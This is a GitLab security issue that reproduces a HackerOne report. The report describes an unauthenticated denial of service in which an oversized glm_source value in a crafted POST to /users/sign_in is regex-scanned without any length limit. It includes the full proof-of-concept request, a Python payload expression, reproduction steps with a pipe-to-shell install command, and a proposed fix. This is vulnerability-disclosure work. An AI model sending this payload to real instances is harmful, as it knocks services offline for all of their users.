Application-level Denial of Service via sending a large `glm_source` parameter

Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2634880 by sim4n6 on 2024-08-01, assigned to @ngeorge1:

Report | Attachments | How To Reproduce

Report

Summary

I identified an application-level denial of service that could be triggered remotely by crafting a specific POST request. Sending such a request to a GitLab instance hosted on a VPS under the stress conditions of DoS leads the instance to reboot some process.

Under the hood, the issue comes from this one line of code only:

    locale = params[:glm_source].scan(%r{(\w{2})-(\w{2})}).flatten  

What happens here is that the incoming glm_source value is being trusted and a scan() method call is immediately operated on it and then flattened. But no limit on the size is set for the incoming data, this is because the developer expected the value to come from a GET's path request with the limitations that applies.

I managed to weaponize a POST request to meet the conditions to run that specific line of code.

The final proof of concept is similar to this one:

POST /users/sign_in HTTP/1.1  
Host: gitlab.example.com  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Cookie: known_sign_in=WWtQSktNOTFacGJyLzR5K3crR245Qzlyc0ZHbmh1VCt4RnBkTlpjWTA5REUrTld6Wk5LbWZUd2tLOVo0eGtiVkJaRlltcU5FVEMrWklMYkkrMDNyTzFVV3ZBUTRCU2NzR2JpVDJGK3ZIbnhraWwxaFFsQ29HbmxMalhYTjNFdEQtLW5mMCtIY3pJUDZZRWNSVXlLNFRsVnc9PQ%3D%3D--4c7291451ca185d6db75c049f30e023099bcab50; hide_no_ssh_message=false; hide_auto_devops_implicitly_enabled_banner_1=false; hide_auto_devops_implicitly_enabled_banner_2=false; _gitlab_session=93d4a1e92ad912e9993df049b59c0eff____ANYTHING;  
Accept-Encoding: gzip, deflate, br  
Content-Length: 43

_method=get&glm_source=gitlab.com%2Faa-b%2F

What is specific about this ordinary POST request is that it does marketing_site_language in the following code :

  def preferred_language  
    cookies[:preferred_language].presence_in(Gitlab::I18n.available_locales) ||  
      selectable_language(marketing_site_language) ||  
      selectable_language(browser_languages) ||  
      Gitlab::CurrentSettings.default_preferred_language  
  end  

Which means :

  1. the preferred_language cookie was deleted from the POST request.
  2. the header like Accept-Language: en-US,en;q=0.5 was deleted too.
  3. the user is not logged in as the _gitlab_session cookie corresponds to anything.

When such a POST request hits a GitLab instance the vulnerable line would be triggered and would scan the value of glm_source for all possible locales (strings like fr-fr or jp-JP or en-US) which means any two letters associated with another two letters separated by a hyphen.

Imagine the impact now, if the following python code is used

glm_source = "gitlab.com/" + "aa-bb" * 10_000_000 +  "/"  

it would scan 10 million characters for duo-duo and flatten them inside a list.

Steps to reproduce
  1. I set up a VPS instance for Gitlab with the following stress conditions:

image.png

to do so:

apt-get update  
apt-get upgrade -y  
apt-get install -y curl openssh-server ca-certificates  
curl https://packages.gitlab.com/install/repositories/gitlab/gitlab-ee/script.deb.sh | bash  
apt-get update  
EXTERNAL_URL="http://gitlab.example.com" apt-get install gitlab-ee  
gitlab-ctl reconfigure  

and

###  add the VPS public IP to the local /etc/hosts so that it can recognize gitlab.example.com to point to the GitLab isntance.

nano /etc/hosts

209.38.64.67            gitlab.example.com  

After a gitlab instance reconfiguration it would take a while and then you can access it at gitlab.example.com.

One more details, the root admin password is supposed to be printed to the console otherwise

cat /etc/gitlab/initial_root_password   

use that specific login to create a different user if you want (The point of this step is to showcase that the impact of the attack is on all users).

  1. I set up a different VPS instance to emulate a separate attacker's instance.

image.png

  1. I hosted the file send_DoS.py in the attacker instance. This python script craft the POST request to hit an instance located at 209.38.64.67 with a command similar to :
python3 send_DoS.py 10_000_000  

for that to be successful, you need to install the python module aiohttp on the attacker instance with pip3 install aiohttp

Impact

When you run the send_DoS.py file on the separate attacker's instance, you shall get something similar to :

Screenshot_from_2024-08-01_11-48-24.png

The 20 requests sent a minute or so, successfully caused a denial of service.

Screenshot_from_2024-08-01_11-48-35.pngScreenshot_from_2024-08-01_11-49-01.png

Examples
  • If the bug is project related, please create an example project and export it using the project export feature: nope

  • If you are using an older version of GitLab, this will also help determine whether the bug has been fixed in a more recent version: latest.

  • If the bug can be reproduced on GitLab.com without violating the Rules of Engagement as outlined in the program policy, please provide the full path to the project.: I did not engage with gitlab.com but I am sure it is gonna work.

What is the current bug behavior?
  • it causes a denial of service a complete instance disconnect and reboot.
What is the expected correct behavior?
  • the incoming glm_source value should be limited by a maximum of 1_000 characters.
Relevant logs and/or screenshots
  • the screenshots are attached above.
Output of checks
  • If you are reporting a bug on GitLab.com, write: This bug happens on GitLab.com : did not test, but I am willing to do so if you want.
Results of GitLab environment info
  • For installations with omnibus-gitlab package run and paste the output of:
    sudo gitlab-rake gitlab:env:info
System information  
System:		Ubuntu 24.04  
Proxy:		no  
Current User:	git  
Using RVM:	no  
Ruby Version:	3.1.5p253  
Gem Version:	3.5.11  
Bundler Version:2.5.11  
Rake Version:	13.0.6  
Redis Version:	7.0.15  
Sidekiq Version:7.1.6  
Go Version:	unknown

GitLab information  
Version:	17.2.1-ee  
Revision:	88793996279  
Directory:	/opt/gitlab/embedded/service/gitlab-rails  
DB Adapter:	PostgreSQL  
DB Version:	14.11  
URL:		http://gitlab.example.com  
HTTP Clone URL:	http://gitlab.example.com/some-group/some-project.git  
SSH Clone URL:	git@gitlab.example.com:some-group/some-project.git  
Elasticsearch:	no  
Geo:		no  
Using LDAP:	no  
Using Omniauth:	yes  
Omniauth Providers: 

GitLab Shell  
Version:	14.37.0  
Repository storages:  
- default: 	unix:/var/opt/gitlab/gitaly/gitaly.socket  
GitLab Shell path:		/opt/gitlab/embedded/service/gitlab-shell

Gitaly  
- default Address: 	unix:/var/opt/gitlab/gitaly/gitaly.socket  
- default Version: 	17.2.1  
- default Git Version: 	2.45.2

Impact

Detailed previously.

Regards
[@]sim4n6

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section:

Edited by Doug Stull